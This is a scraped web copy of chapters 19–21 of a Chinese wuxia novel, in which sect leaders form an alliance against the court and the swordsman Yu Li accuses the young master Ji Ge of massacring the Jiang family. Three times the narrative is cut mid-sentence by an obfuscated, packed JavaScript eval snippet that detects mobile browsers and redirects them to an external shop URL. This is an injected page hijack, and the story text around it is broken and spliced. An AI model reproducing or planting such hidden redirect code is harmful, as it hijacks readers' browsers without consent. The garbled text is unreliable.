被人监视难免心烦,发发脾气,使使小性儿终免不了。每当这个时候,季晨就会绞尽脑汁,变着法儿的哄自己的主子开心。 家常饭吃腻了,季晨便下山去打点儿野味,再请普天之下最有名的厨子做好,色香味俱全,金盅玉盏地端上来,再配一壶好酒。两人便围着小火炉,盘膝坐下,边吃边聊,开些兄弟间的玩笑。 读书读累了,季晨就去做个秋千,让季歌坐上去,推着他玩。或者抱只草球来,再叫上几个家丁一起,陪他踢球。 秘籍看躁了,季晨便将私自带上山的小人书偷偷拿出来,一边陪他翻阅,一边比手划脚,嘴上不停地给他讲述最近发生在江湖上的大事。 比如江湖榜近期发生了什么变动,问心剑派的位次是靠前了还是退后了,排名第一的又是哪个不长眼的门派,敢与声名赫赫的季掌门一争高下了。每每听到这里,季歌都会会心一笑。 又或是哪个门派的渣掌门另娶新妇,弃八个老婆于不顾了;哪两个门派的青梅竹马被无情拆散,替门派联姻了;哪个寺庙的和尚偷腥被逐出师门了,又是哪个道观的小道姑情窦初开,与外边的野男人在道观后面的菜地里野合了。 每当讲到这里,季歌都会沉下脸,啐他一脸:“季晨快把你的嘴夹住吧,怎么净讲些下流东西。” 这个时候,季晨总是嘿嘿两笑了事。发现季歌独爱研究各式内功心法,季晨便背着季怀璋,悄悄潜到衡山的藏书阁里,把衡山那些大大小小的武功秘籍、内功心法以及一些小门小派、江湖人皆知的基本招式拿给季歌看。 也许是天赋异禀,也许是兴之所至,季歌对武功心法十分擅长,兴许是遗传了他老爹的先天本领,那么多密密麻麻、鳞次栉比的小楷篆书,竟能做到一目十行,过目不忘,令季晨大为震惊。三天背完一本书,七日学会一套功法,不在话下,还都是自学。二十三年间,季歌掌握的武学心法、医书、兵法能从地上摞到房顶上去,真真是汗牛充栋,孔夫子都自叹不如。 山上的一举一动自然瞒不过季怀璋的一双眼。只是他季怀璋的儿子,自学一点本门的内功心法,实在太正常不过。故此季怀璋虽然心知季晨经常背着他干坏事,阳奉阴违,也都睁只眼闭只眼地过去了。偶尔,还会在纪霜华面前隐晦地夸赞他的儿子就是聪明,就是天赋异禀,能够做到无师自通。 虽然被困在山上,待遇却是丝毫不减,锦衣玉食、穷奢极侈,甚至比其他门派放养的孩子养得还要好。山川流云,清泉薄雾,在大自然的景观加持下,愣是培养出了一个心思单纯、天真烂漫、闲散自在的富贵公子哥儿。 不过,季晨对季歌最上心的不是吃穿用度,也不是功夫本领,而是他身为堂堂七尺男儿,二十三年不近女色,也不曾有过心爱女子,更不曾有过床笫之乐,就这么不知年岁的待下去,会不会……那方面有问题? 于是,偶尔趁着跟前没人,季晨还会将私藏已久的春宫,和各种小人书小黄书悄悄塞进季歌的手里。然后自己就像个被人玷污了清白的姑娘,捂着烧红的脸蛋跑远了。 季歌不明所以地打开春宫,看到上面的男男女女裸体交合,缠绵悱恻,还不止一页,每一页都是这般简单粗暴,不明为何物。起初还会皱一皱眉头,暗自琢磨这到底是何物。看得多了,不由心生反感和厌倦,怀疑季晨不安好心,故意拿这些奇奇怪怪的图画戏耍他。 待到春宫和小黄书越堆越高,季歌看不过来,索性一举推倒,骂道:“季晨不知羞耻,品位竟如此低下!”待到后来年岁渐长,季晨搜刮来更多类型的春宫,季歌看着看着,心里竟然产生了一种难以名状的羞耻感,说不清也道不明,甚至,身体也会不受控制地起了反应,只是他不懂这到底是怎么回事。 终于,他带着这股羞耻感,讪讪地询问季晨,季晨便露出一副“孺子可教”的老夫子姿态,高兴道:“少爷,你终于长为一个男人了。” 这话被其他家仆听到,悄悄传到了季怀璋,季怀璋这才意识到,这么多年过去,因儿子弱不禁风便将他困在山上,实在不是个明智之举。思考再三,终于决定借这次召开掌门人大会的机会,以送请柬为由,让他下了山,真正走入了江湖。 金木兰冷冷睨了季晨一眼,目中尽是鄙夷。两人你看着我,我看着你,站了半天都无人率先出手,季晨凉凉的道:“金寨主,你该不会打算就这么站下去吧?” 金木兰心里冷笑:“一个易姓家仆,也想出人头地,找打。”一言不发,挥起大刀,便向季晨头顶劈下。季晨堪堪避过,笑道:“金寨主真是人狠话不多啊。” 金木兰一声冷笑,一套金刀寨独有的金兰刀法使将出来。季晨则以问心剑派的基础剑招接招。他虽是季家家仆,但自小跟在季怀璋身边,衡山的武学精髓向季怀璋学习了不少。虽只掌握了基础招式,但以问心剑派深厚的武学根底,对付一个位列一百三十名的金木兰还是绰绰有余。 金木兰很快败下阵来,打到后面,力有不逮,突然刀风一变,换了风格。 季歌心道:“莫不是破空刀法?” “敢情这几个门派自打从沐恩谷领了秘籍回去,便偷偷研究起来,动作真够快的。表面上是切磋武艺,实则都想在天下英雄面前展露自己新得的独门绝学,这般迫不及待,也够争强好胜的。” 只不过这些独门绝学都是出自沐恩谷罢了。 果然,金木兰使出了一套全新的刀法。那刀法招式陌生,风格瑰丽诡谲,自带一股阴邪之气。季歌在小人书上从未见过,心想:“这定是沐恩谷的破空刀法了,闻所未闻,见所未见。待我看看这套刀法的威力究竟如何。” 只见金木兰才使至第十招,招式便开始紊乱,手中钢刀也握得不稳,似乎还未在短时间内将钢刀和刀法磨合好,也没有完全掌握其中的秘钥和精髓,一套刀法使得乱七八糟。非但没有发挥出它的真正威力,连自己原先的刀法也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17468425|201347||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乱了。 季晨瞅准时机,一套九州剑法的基础招式使出,直抵金木兰错漏之处。只见金木兰手中的钢刀愈使愈快,也愈使愈乱。最后,季晨一招“龙战于野”,直接震得金木兰手中钢刀飞了出去,就此落败。 季歌站起身,大声为季晨鼓掌。季晨边下场边看过来,两人目光相接,都是相视一笑。金木兰一脸错愕,伫立原地良久都没有反应过来自己刚才是怎么输的,手中钢刀是怎么被震飞的。 随后,青城、泰山、点苍、天龙门等其余门派相继出战。待到所有门派切磋完毕,季怀璋站起身,朗声道:“本场比试结束,请在场的各个门派下去后自行研讨比试心得。下面进行大会的最后一项,商议成立江湖盟之事。” 众人见他直接跳过第二项,直奔第三项,显然对第三项极为看重,甚至表现得有些迫不及待,俱都深深吸气,噤若寒蝉。 只听季怀璋朗声道:“众所周知,十几年来,西夷蛮族屡次进犯我大梁边界,意图侵袭扰攘,战事频发。我们这萧氏朝廷虽也应战过西夷,但明眼人都看得出来,这位萧老皇帝无心作战,意在谈和,战场上始终消极抵抗,任由西夷蛮族烧杀掳掠,侵占我们大梁边境,生灵涂炭,民不聊生。” “我梁国百姓对此义愤填膺,皆敢怒不敢言。当然,这一做法也遭到了无数爱国义士的抵抗,他们纷纷组建盟会,奔赴战场,奋力杀敌,合力抗夷,与朝廷止战议和相争不下。随着两国战事逐渐白热化,指不定哪天异军便攻到了江陵城下,届时萧老皇帝和那十一个皇子都要被异军抓去做了俘虏喽。” 说到这里,在场诸人脸上俱都露出愤恨神色,纷纷叫道:“狗日的朝廷,狗日的皇帝,我们平头百姓都要被这群孬种害死了!” 季怀璋一声清咳,道:“如今武林规模日益壮大,江湖英雄辈出。朝廷早在十年前便露出江湖人不好管束,想要将部分武林人士收编在册的想法。近些年来,这种趋势越发明显。” “两个月前,在下听探子来报,说朝廷计划用三年时间招安,意图将一部分有才学,有勇有谋,且愿意归顺朝廷的江湖人收为己用,以壮大朝中武将的势力。” “众所周知,跟着朝廷干,高官厚禄,锦衣玉食,太平安稳自然少不了,可是也得承受人在屋檐下,不得不低头的委屈,毕竟朝廷之令不可违,这点大家心知肚明。” “可是如若有人不愿意做那朝廷的鹰犬,倘若我们依旧一盘散沙,朝中人定会视我们为眼中钉、肉中刺,轻则怀柔,重则挑起各门派的纷争,最后连根拔除也不是不可能的事。” 说到这里,他轻轻叹气,道:“在下想到此事迫在眉睫,不得延误,便在请柬中简略提及,邀请诸位前来商议。若是有人愿意为朝廷所用,便请直言,咱们长话短说,哪怕直接退场也成。如若有人不愿意归顺,想要继续做堂堂正正的绿林好汉,那便留下来,以待后议。” 话音刚落,在场众人立时你看看我,我看看你,脸上又是愤慨又是震惊,对朝廷此举俱都十分愤怒。一时间磨镜台上群情激愤,人人同仇敌忾,议论之声极大。 20. 江湖结盟 “放他妈的狗臭屁!” 点苍派掌门白无烬率先破口大骂:“朝廷几次三番找我们麻烦,中间起了不少冲突,还间接残害了我们几名弟兄,谁要做朝廷的走狗谁去,我白无烬坚决不应!” 玉琨派掌门仇正浓也表现得义愤填膺,道:“去年冬天我们从中原运了一百车烧火的炭火,刚刚路过青海,就被衙门以克税为由扣下了二十车。你们想想,那可是二十车,不是五车,也不是十车。五分之一都让他们扣下了,让我们玉琨派喝西北风去啊。” 金木兰吃了一惊:“竟有这等恶事?后来怎样了?” 仇正浓道:“后来我带着一大帮人去管衙门要柴火,那衙门的官老爷赵大人就往那太师椅里一坐,二郎腿往那几案上一翘,一个正眼儿都没瞧我,便说:‘连你们玉琨派都在我们衙门的管辖之内,区区一点柴火又算得了什么?你们玉琨派要过冬,我们衙门的上百名官差也要过冬,总不能你们的炕头烧得滋滋旺,我们衙门这么多人就该睡冷炕吧?” “还说:‘你们玉琨派不管从中原运什么都得知会我们衙门一声。毕竟你们还在我们的管辖之内,凡事都不能瞒着,一草一木都得经我们的手。若是你们不想让我们管了,明儿我就快马加鞭去报请朝廷,申请把你们从西域的地界划出去,让你们自己独立好不好?’” “你们听听,这说的是人话吗!” 仇正浓说着脸上肌肉微微颤抖,“那官老爷估摸着是看我脸色不大高兴,又好言软语的劝我:‘你看啊仇掌门,你也当了玉琨派这么多年的掌门了,总该是个明事理,识大体的人,应该懂得花花轿子众人抬这个道理。眼下你孝敬我的不过是几车炭火,又不是什么重要物什,没什么大不了的,自己也无甚大的损失。正所谓取之于民用之于民,我们衙门过暖和了,你们玉琨派不也就过暖和了?若是换作旁人,恐怕这几车炭火也喂不饱人家的肚子,你应该感谢眼下在这衙门坐镇的是赵大人我啊。” “兴许是看我的脸色缓和了许多,那赵大人又道:‘仇掌门啊,道理我都说得很明白了,再多说就没意思了。现在衙门过得好了,你们玉琨派自然也就过得好了,这对你们有大大的好处啊。言尽于此,烦请仇掌门带着你的兵回去吧。’说着那赵大人一声重咳,道:‘送客。’” “我和一平就被请了出来。” 仇正浓说着怒从中来,破口骂道:“操他奶奶的,是可忍孰不可忍。今日我就把话搁这儿,玉琨派门下有谁敢做朝廷的鹰犬,老子先宰了谁!” 他话一出口,玉琨派众弟子纷纷低下了头,无一人敢说话。 金木兰恨恨道:“衙门那帮人不好惹,仇掌门只能吃哑巴亏忍了。”说着自言自语,“怎么我们金刀寨就没遇上这等鸟事,不然我金木兰定要好好出头,替门人收拾收拾那帮孙子。” 仇正浓听她这么说,冷冷一哼,心道:“你们金刀寨在江湖都排不上号儿,自然遇不上这等鸟事。” 泰山派掌门周坞接话道:“岂止是烧火的干柴,那帮臭不要脸的,连我们运往山上的水都要白嫖。大伙儿都知道我们泰山有多高,那山上的水可都是徒弟们一个台阶一个台阶扛上去的,那么高的山,那么沉的水,真是人不要脸天下无敌!” 青城派掌门解不明也道:“前年我们青城派门下的几名弟子,走水路一路追捕奸细,不小心撞翻了朝廷押运粮草的一只官船。闹出事儿后,大家心里都很害怕,都很紧张,简短的商议过后,便想着去给押运粮草的李大人赔个不是,再把损坏的官船和泡水的粮草赔一下,送点东西给那李大人打点打点,好安抚一下对方的情绪。结果倒好……” “歉道了,银子赔了,那李大人却拒不接受和解。非但对我们送去的好处和心意视若无睹,反而大发雷霆,下令让官兵把我们撞毁官船的几名弟子给抓了,严刑拷打了五六天,一点王法都没有。从那以后,老子就把他们彻底看扁了!” 金木兰忙道:“后来怎样了?” 解不明一声冷哼,道:“最后还不是我亲自出面,管朝廷要了人,又是赔礼又是道歉的,脸都丢尽了!” 金木兰道:“金刀寨虽不曾与朝廷中人接触,但家父在时,最痛恨的便是朝廷走狗。如今我继承了父亲的衣钵,又受季叔叔照拂多年,此事我听季叔叔的。” 玄极正自沉浸在吴长风重伤的悲愤当中。闻言,抬起一双昏花老眼,颤巍巍道:“老夫老了,四方宫就是老夫的家,谁敢来犯,就让谁尝尝七伤拳的厉害……” 宣仪拂尘一扫,正色道:“青衣派都是女弟子,如何能为朝廷招安?焉知他们不是心怀不轨,打的别的主意。” 当下,点苍派、天龙门等多个门派的掌门也都表示生而为人,不蒸馒头争口气,坚决不做朝廷的走狗。在场群雄义愤填膺,脸上都露出愤恨之色,口中兀自咒骂不停。 闫无虚全程都没有表态,只是面露浅浅微笑。见武当派一直没有表态,回过头来,看向清虚道长,见他一脸沉郁之色,眉头紧锁,便道:“清虚道长有何高见?” 清虚道长缓声道:“老夫和门下弟子均为修道之人,早已淡出红尘已久,一向只切磋武艺,不论江湖中事,不方便参与其中纠葛,还望闫掌门和季掌门宽宥则个。” 见闫无虚和季怀璋面露不豫,缓了缓,又道:“只是老夫觉着,朝廷与武林并非一体,也并非对立,一味的屈服投诚和一味的敌对对抗都不是长久之计,只会给己方带来无尽祸患。几位掌门若想为自己门派谋个周全,还须另想万全之策,老夫言尽于此,告辞。” 说完,一甩灰衣袍袖,起身离场。众弟子见师父不管不顾,独自一人走了,纷纷站起身来,向季怀璋和各派掌门行了一礼,跟了上去。武当派的座椅立时空了一片。 继而,余下的门派当中有二十来个门派明确表示不愿参与此事,陆陆续续退场。最后,磨镜台只剩下含问心剑派在内的三十五个门派。 待到场下各门派不再变动,季怀璋紧张的神色略有缓和,朗声道:“诸位义薄云天,季某深受感动。若季某理解得没错,余下的门派应是不愿意归顺朝廷了。” 在场众人看着他,纷纷点头。 季怀璋会意,朗声道:“合则聚,不合则散。走了的人没必要挽留,留下的人自然想法也一致。既如此,我便开诚布公,不绕弯子了。” 说着一声清咳,道:“眼下朝廷对武林中人的态度只是暂时怀柔,不排除日后会采取行动,对我们强行收编。既如此,当今武林便面临了两个选择,要么无动于衷,继续保持一盘散沙的状态,等待收编这一日的到来,束手就擒。要么……率先抓住主动权,成立我们自己的组织,互相帮衬,与朝廷分庭抗礼……” 说到这里,人丛中有人站出来道:“季掌门,敢问一句,这朝廷要将我们收编,究竟意欲何为?我们这么多人,归于朝廷麾下,也无甚用处,难道就因为不好管束这么一个小小原因?这话倒是奇怪,以前我们也不好管束,怎的以前没见他们收编?” 季怀璋正待答话,人丛中已有人按捺不住,抢话道:“那还用说吗?季掌门方才说大梁和西夷的战事,朝廷消极抵抗你没听到?我看哪,这朝廷收编是假,担心我们组建同盟,伙同爱国义士抵抗西夷是真!” 此言一出,人丛中立时喧嚣声起,七嘴八舌,吵嚷不断:“是哦,除了这个真找不到别的原因了!他们担心我们悄悄支援前线,破坏朝廷止战议和的方针,可不是要先发制人,抢先将我们收编么。等到我们归于朝廷麾下,享受到了朝廷的功名利禄,再想支援前线,可就是吃人的嘴短,有嘴说不清喽。” 此言一出,人群里又是一针喧嚣,纷纷叫骂不断:“狗日的朝廷,狗日的老皇帝,自己要做那亡国奴,还不准别人当义士了!萧衍这老狗,我白花花的大梁江山落在这老儿手里,迟早要完!这匹老狗卧床数年,早死不死,晚死不死,偏偏这会儿也不死,也不知几时能死!” 一时间,众人脸上愤恨之色更甚,俱都叫骂不停。磨镜台上山呼海啸,愤慨之声不绝于耳: “不做亡国奴!” “坚决不接受收编,坚决不做朝廷走狗!” “誓与朝廷对抗到底!” …… 季怀璋挥了挥手,示意大家安静下来。见众人没有异议,场中声音减小,季怀璋向坐在场下的宣仪,道:“宣仪师太,此事便由你来说吧。” 宣仪微一点头,从座椅上站了起来,走上演武场站定,面向众人道:“如今形势紧急,如若武林还是一盘散沙,可能不等我们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17468426|201347||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有所行动,朝廷铁骑已然来犯,一切刻不容缓。” “半年前,季掌门亲自来了趟青衣派,与我商议成立江湖盟之事。我与季掌门简单交换了意见后,一致认为,大家一年一度的相聚,不应当只是简单地切磋武艺,相互认识,还应该成立属于我们自己的组织,发挥更大的作用。而江湖盟,便是为团结所有武林人创建。成立江湖盟后,大家可以拧成一股绳,共同御敌,支援前线,支援战场,支援那些为国捐躯的爱国义士,不知诸位意下如何?” 众人一听这话,脸上纷纷现出激动之色。一来觉着成立江湖盟后,自己再也不是孤立的独门独派,而是背靠强大组织的重要门派。二来觉着加入江湖盟后,自身便再也不是望着前线激烈作战又无可奈何的散兵游勇,而是可以为前线、为那些爱国义士提供物质和人力支援的有用之辈,当即心生喜悦。 当然,也有一些门派不知江湖盟成立后该如何运作,脸上纷纷现出疑惑来。很快,点苍派有人问道:“敢问师太,成立江湖盟以后,大家需要做些什么?” 宣仪想了想,道:“这一点我与季掌门沟通已久,大致有三项。” “一是加入江湖盟的门派,须定期来衡山议事,每三个月一次,日期暂定当月初五,今日就算第一次了。二是待会儿散会后,各门派统一派人至麻姑桥领取独属于江湖盟的信烟和令牌,往后行走江湖,如若见到信烟燃放,便是盟友有难,不论哪个门派,只要是江湖盟的成员,必须驰援,不得有误。以后见令如见盟,不得违逆。三是,既然我们江湖盟是为避免朝廷收编,避免朝廷不让我们支援西夷战事才成立,那就应当发挥我们应起的作用。江湖盟自打成立起,也就是自今日起,一旦盟主有令,不管是支援前线,还是其他任何指令,所有人都必须服从。” 众人一听过程并不复杂,动机也很简单,并且加入江湖盟也无甚坏处,还能结识不少盟友,当即表示同意。 宣仪见众人没有异议,接着道:“只是……若要成立江湖盟,须得共推一位盟主出来,统率盟员,大小事务听其调遣,否则盟内一盘散沙,遇事无法裁决。为了公平起见,我们以投票决定。” 说着吩咐场下的仆役,道:“取投票箱和纸墨来。” 解不明一听这话,当即道:“这还用说嘛,当然投怀璋兄了!” 玄极颤颤巍巍道:“老夫老了,不成气候,季掌门为人清正刚直,做事稳当,老夫投季掌门一票。” 仇正浓道:“少林武当一向事不关己,高高挂起。当今武林,除了清虚道长和无尘大师在,本事最大,名望最高的就属怀璋兄了。既然清虚道长和无尘大师不愿意掺和,这还有什么好商量的?” 闻言,泰山派、点苍派和天龙门等多个门派当即表示唯季怀璋和问心剑派马首是瞻。 宣仪微微一笑,道:“公平起见,还是投票决定为好。”正好仆役拿了投票箱过来,当场便命仆役将提前备好的三十五张纸条和笔墨,分发给在场的三十五位掌门。 待诸位掌门拿到纸条,宣仪道:“请各位掌门在纸条上写下你心仪的盟主人选,然后投至投票箱,待会儿我们唱票决定。只限一人。” 诸派掌门依言在纸条上写下人名。不等墨迹干涸,便将字条折起来,走上演武场,投至投票箱里。只是片刻,投票便已结束。 宣仪于是安排一人唱票,一人记票。在场众人目不转睛地听着唱票过程。半晌,唱票结束,结果显示五人弃权,三人投给闫无虚,一人投给仇正浓,一人投给玄极,其余二十五人均投给了季怀璋。 宣仪朗声道:“根据投票结果,江湖盟盟主之位便由季怀璋季掌门担任。” 季怀璋神情激动,缓了许久,方道:“季某不才,忝任盟主之位,内心惶恐。季某深知此位责任重大,与众位英雄身家性命休戚相关,恐难胜任。可若不从,一来辜负了众位英雄的厚望,令人心寒;二来一旦朝廷来犯,季某一向古道热肠,很难作壁上观,既如此,倒不如亲力一试,誓为天下英雄肝脑涂地,死而后已。” 众人见他答应,纷纷高举兵刃,表示愿以问心剑派和季盟主马首是瞻。现场群情激动,一片山呼海啸。 气氛正当热烈,忽然,人丛中传来一个低沉的声音:“我有异议。” 21. 祸起萧墙 这声音从容冷静,虽声量不高,却掷地有声,带着振聋发聩之效,任是震天价响中,都听得清楚。 众人放下手中兵刃,四处张望起来,都想看看这声音是从哪儿发出来的。过不多时,人群缓缓散开,一个中年人走了出来。 他身量中等,面容沧桑,头发花白,虽呈老年之相,走路时却身姿矫健,气度从容,仿佛刚过壮年。任是这么多双眼看着,也不露怯。 “游侠喻理!” 很快有人将他认了出来。 静慧看着他孤身一人走上演武场,心中纳闷,道:“以我对这些江湖游侠的了解,他们一向对掌门人大会不感兴趣,也不屑于参加,你们衡山是给他发请柬了吗?” 季歌摇了摇头,道:“此事我也不知,我不认得他。”面露迷茫之色。 只见喻理走上演武场,站在距离主位不远的地方,目光阴晴不定地看着季怀璋,周身散发着阴郁之气。宣仪隐隐感到来者不善,轻轻一咳,沉声道:“喻大侠有何异议?” 喻理眼光缓缓转向宣仪,道:“敢问师太,盟主人选须具备什么样的条件?”目光锐利如刀。 似是没想到他会有此一问,宣仪面色一滞,道:“自然是德才兼备,严于律己,宽以待人。” 喻理轻轻笑道:“严于律己可包含自己的亲属及门下弟子?” 宣仪一滞,道:“自然。” 说这话时心中疑云四起。 喻理冷笑道:“那如若门下作奸犯科,行不端不义之事,是否算掌门管教无方,私德有亏,不能胜任这盟主之位?” 宣仪微微一怔,道:“喻大侠有话不妨直言。” “好。” 喻理一笑,绕过宣仪,走到季怀璋面前,看着他道:“敢问季掌门,贵公子为非作歹,草菅人命,无端灭了黔南江家满门,此事该当如何处理?” 此言一出,场中立时哗然。 众人你看看我,我看看你,眼中均现震惊之色。议论声不断: “什么?江平川江老爷子一家被灭口了?” “什么时候的事儿?” “不知道啊,谁干的?” “他说是季少侠……” “怎么可能,我不信!” “我也不信!季少侠看着十分面善,跟他父亲一样,是个光明磊落之人,绝不会做出这等恶事来!” “那是怎么回事儿!江平川死了,那他的宝贝楼兰明珠还在吗?” …… 听着身旁诸人七嘴八舌地小声议论,季歌再也忍耐不住,径直起身,大声道:“我没有!不是我!” “我没有杀江家满门!” “杀江家的另有……” “季儿!” 不等他把话说完,已被季怀璋冷冷打断。季歌回过头来,看父亲脸色不好,心中畏惧,当即噤声。 季怀璋并不看他,手负身后,昂首挺胸,道:“吾儿温恭直谅,冰魂玉魄,实乃至诚君子,断不会做出这等恶事来。喻大侠若想借着盛会的机会对我儿无端指摘,攻讦于我,另有企图,怕是打错了算盘。” 说着面带不忿之色,“今日是我们各门各派商议成立江湖盟之事,喻大侠若无别的事,还请回吧,莫要在此胡言乱语,搅扰视听。” 喻理冷笑道:“季掌门这话说的就不对了,既然你要当这江湖盟主,自该守身守德,管好自己的家人和门人。同样,要想坐稳这盟主之位,也该接受众人的监督才是。” “如今令郎干出这等恶事来,季掌门不听不解释,也不调查清楚,便想让提出质疑的人滚蛋,岂不心里有鬼,不打自招?” 此言一出,立时群情耸动。季怀璋见场下有人发出异声来,心中不忿,道:“喻大侠,饭可以乱吃,话可不能乱说。你当着这么多人的面指摘我儿灭了江家满门,可有何凭据?” 喻理道:“凭据自然是有,只恐季掌门咬死不承认。”说着将手探入怀中,从怀里取出一物,示意给他看。 季怀璋垂下目光,将他手上之物粗略一扫,待到看清,立时面露惊恐。 只见拿在他手中的不是别的,正是衡山封禁了十多年的十字飞镖。飞镖上隐隐泛着蓝光,留有毒液存在过的痕迹,且光泽如新,看着熟悉而陌生。 对此感到震惊的还有季歌,伸手摸了摸胸口,发现藏于怀里的飞镖还在,不由轻轻吁气。吁气的同时,心中疑团更甚。 众人看着喻理手里那记飞镖,心中都感奇怪,议论声渐起。 “这毒镖都十多年没见了,怎么会突然出现在江家?” “不知道,莫不是当年没有全数收回去?” “不可能啊,十年风吹日晒雨淋,放到现在早生锈了,你看那毒镖光泽鲜亮,不似旧物。” “是啊,我还是不信季家公子会用此物杀人。当年怀璋兄就是因为心地仁慈,才下定决心将这些毒镖尽数收回,若是季公子真想灭江家老爷子满门,何以要用毒镖,换一种兵刃不是能更好的掩人耳目?这显然是栽赃,是嫁祸!” “没错。再说,季公子为人坦荡,又身为名门正派之子,好端端的,无冤无仇,怎么可能灭别人满门,传出去岂不匪夷所思?” 听着在场诸人议论纷纷,季怀璋脸色一时间变了几变,冷冷道:“这能说明什么问题?” 喻理冷笑道:“这若是还不能说明问题,季掌门也不会是眼下这般脸色了。”说着缓缓转动身子,将手中的飞镖示意给众人看。 “众所周知,这七星七星镖乃衡山禁器,上面喂了剧毒,见血封喉,一镖致命,无药可解,为江湖正道所不齿。正因为此,季掌门才于十年前决定将这些毒镖尽数收回、封禁,从此对外宣称衡山禁用暗器,是也不是?” 说着,喻理将似笑非笑的眼光缓缓转向季怀璋。季怀璋看着他,沉下脸来,道:“确有此事,那又如何?” 喻理微微一笑,道:“承认就好。” 顿了顿,“那么问题来了,既然这些七星镖早在十年前便已经收回和封禁,为何这枚毒镖会在十几天前出现在江家,此事岂不蹊跷?” 季怀璋道:“当年收回衡山的七星镖都一一清点过,没有遗漏。就算门人不察,有一两支遗漏在外,忘记收回,这么多年过去,遗落在外的飞镖经历了十来年的风吹日晒雨淋,早已锈迹斑斑,如何你手中的七星镖却光洁如新,保存得这般完好?” 说着冷笑出声,“怕不是喻大侠搞错了,误将别派之物当作我们衡山之物,或者……就是故意仿制出与当年衡山的七星镖相似之物,借以栽赃陷害……” 众人一听这话,场中议论声又起。 喻理微微一笑,道:“不承认也好,就当此物是假的吧。”话至此处,突然一张笑脸变得凝肃起来,沉声道:“物证为假,我还有人证。” 说着转过身来,面朝众人道:“江平川江老爷子乃我故交。半个月前,我孤身前往黔南,想要拜访他老人家。结果临近江家,却发现整个江家宅邸的周围静寂无声,一点人气儿也没有。” “当时我就感觉到有什么不对劲。直到走近江家的家门口,这才看到院子的大门敞开着,一个看守院门的小厮都没有,还是在深更半夜,十分诡异。” “当时正值黑夜,周围寂静无声,一片黑暗。除了我手中的火把,院中一点烛火都不点,整座院子仿佛陷入阴沉沉的地狱当中,禁不住让人后背发凉。” “我心中十分害怕,站在大门口犹豫了许久,才进了院子。只见整个院子空无一人,所有房间的门窗都大开着,屋里桌椅板凳横七竖八地倒了一地,唯独不见一个人影。” “我心想,难道江老爷子带着全家出远门了?可若是出远门,如何家中一个人也不留?就算不留亲眷,丫鬟和小厮总该留一两个吧?就算丫鬟小厮不留,院子的大门总该锁上吧?房间的门窗没必要都敞开吧?” “细想之下,我心想江家一定是摊上了什么事儿,或者遭遇了什么。我找遍了所有房间,屋里除了桌椅板凳东倒西歪地倒了一地,并无其他端倪。” “后来我从房间出来,来到院子里,在院子里转了一圈,也细细查看了一圈,也没有发现任何打斗痕迹,心下正自纳闷这是怎么回事,江家到底发生了何事,这时鼻下忽然闻到一股强烈的血腥气味。” “那血腥气隐隐约约,却又极重,很明显是来自后院。我循着气味一路奔至后院,终于见到了触目惊心的一幕。” 说着他深吸口气,勉力镇定着激荡不宁的心绪。 “只见满院子尸横就地,无论男女老少,全部被杀,包括一个人身处偏房的江平川江老爷子。我强力按下心中震惊悲伤的情绪,挨个查验了伤口,发现所有人的伤口都出现在咽喉,均被一道细而利的兵刃划过,窒息而亡。” “担心判断出错,我又挨个检查了他们的尸身,发现他们身上并无其他伤口,死因均来自于被利器划断的咽喉。” “从伤口判断,那兵刃看着像是一把细剑,却又不似细剑,因为细剑划过,留下的伤口会比较长,绝非那般短而尖的形状。我正自疑惑到底是什么利器致人非命,不经意间便在草丛的泥土里发现了这个。” 说着将手中的七星镖晃了两晃,飞镖在阳光下折射出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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喻理道:“季掌门,方才听令郎口风,似乎他曾经去过江家,也知道江家被灭了满门,这不就对上了?暗器是问心剑派的暗器,人是问心剑派的人,作案者是令郎没错了。” 说着眼望季怀璋,道:“令郎虽鲜少下山,身上的功夫却十分了得。江家非武林门第,家中多家丁、仆役,就连江老爷子本人也只是一介宿儒文人。他们既非江湖中人,又不懂得拳脚功夫,无端遭此横祸,死于非命,令郎如此心狠手辣,季掌门该作何解释啊?” 听到这里,季歌终于按捺不住,站起身道:“一派胡言!自始至终都是你的一面之词,你有何凭据?” 喻理冷笑道:“有何凭据?我能这么说,自然就有凭据。”说着拍了拍手,立时人丛中走出两个人来,均一身仆役打扮。 二人一见到季歌,立时面露惊恐之色,指着季歌,颤声道:“就是他,就是他杀了老爷,灭了我们江家满门!” 说着转身向喻理大哭起来:“喻大侠,您可要为老爷做主啊……老爷死的不明不白,此人到底与江家有何仇怨,竟然下此毒手!” 季歌冷笑道:“我也想知道我和你们江老爷有何仇怨,焉知不是你们串通一气?” 喻理不予理会,转向季怀璋,道:“季掌门,事实的经过就是如此,如今人证物证皆在,你还有什么话说?” 季怀璋心道:“季儿不会杀人,这中间定有蹊跷。要么是这两个人作伪证,骗过了喻理,要么就是他们仨串通一气,故意栽赃陷害季儿,阻我今日之事。” 